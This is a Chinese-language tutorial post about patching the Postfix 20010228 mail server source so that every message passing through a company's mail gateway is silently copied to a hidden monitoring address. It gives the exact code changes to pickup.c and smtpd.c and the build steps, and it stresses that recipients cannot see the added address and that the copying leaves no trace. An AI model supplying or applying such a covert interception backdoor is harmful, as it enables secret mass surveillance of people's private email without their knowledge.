一、 环境
公司的inte.net邮件系统是exchange 5.5,考虑到nt和exchange的安全性,系统并非直接连inte.net,而是放置在局域网内,通过一台smtp转发主机(双网卡,连内外网段)往外转发邮件。同时,通过dns中mx记录的设定,外界发给公司用户的邮件也是通过该smtp转发主机往exchange转。该smtp转发主机操作系统用freebsd 4.3-release,邮件系统用postfix release-20010228 + patch1、2、3。
二、 目的
如何才能捕获用户的邮件?既公司用户往外发的邮件和发往公司用户的邮件能不留痕迹的给自己转一份。我看了看exchange 5.5、postfix的配置文档,好像没有这方面的设置(如果有谁知道有,告诉我一声,谢谢!)。好在postfix公开源代码,虽然我不是程序员,但大学时期学的c还没丢光。便从www.postfix.org 下载了release-20010228及其patch1、2、3,试着修改源代码了。
三、 步骤
首先将release-20010228.tar.gz上载到系统的某个目录下。运行:
# tar zxvf release-20010228
将在当前目录下生成release-20010228目录,将patch上载到该目录下,运行:
# patch < postfix-20010228-patch01.gz
# patch < postfix-20010228-patch02.gz
# patch < postfix-20010228-patch03.gz
a、 进入src/pickup目录,用vi打开pickup.c,搜索copy_segment,找到copy_segment这个函数,在int check_first = (*expected == rec_type_content[0]); 后加入一个变量申明:vstring *spy;
往下10几行,看到:
if (type == rec_type_rcpt)
if (info->rcpt == 0)
info->rcpt = mystrdup(vstring_str(buf));
将其改成:
if (type == rec_type_rcpt)
if (info->rcpt == 0)
{
info->rcpt = mystrdup(vstring_str(buf));
spy = vstring_alloc(20);
vstring_strcpy(spy, "xxx@xxx.xxx"); /* 将 xxx@xxx.xxx 加入接收者列表 */
rec_put_buf(cleanup, type, spy);
vstring_free(spy);
}
b、 进入src/smtpd目录,用vi打开smtpd.c,搜索rcpt_cmd,找到rcpt_cmd这个函数,往下走三十来行,看到:
state->rcpt_count++;
if (state->recipient == 0)
state->recipient = mystrdup(argv[2].strval);
将其改成:
state->rcpt_count++;
if (state->recipient == 0)
{
state->recipient = mystrdup(argv[2].strval);
rec_fputs(state->cleanup, rec_type_rcpt, "xxx@xxx.xxx");
state->rcpt_count++;
}
然后退回到release-20010228目录下,运行make; make install重新编译、安装即可。
· a处的修改是postfix邮件系统的本地用户发送接收邮件,都将在recipient里插入一个接收者xxx@xxx.xxx,实际上用处不大,因为现在没有谁会在unix终端下用mail来发送邮件。
· b处的修改是凡是通过smtp协议转来或转走的邮件,都在recipient里插入一个接收者 xxx@xxx.xxx,在上述环境中,该处的修改是关键。
这样,只要是经过该postfix处理的邮件,xxx@xxx.xxx都能收到一份!
四、 备注
1、 上面所做的修改,邮件接收者不会在收件人一栏里看到 xxx@xxx.xxx这个账号
2、 请先估计一下postfix每天处理的邮件的流量,以防监控邮箱爆了。
3、 代码中msg_info函数是日志记录函数,可以根据自己的需求定制。
4、 待续
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器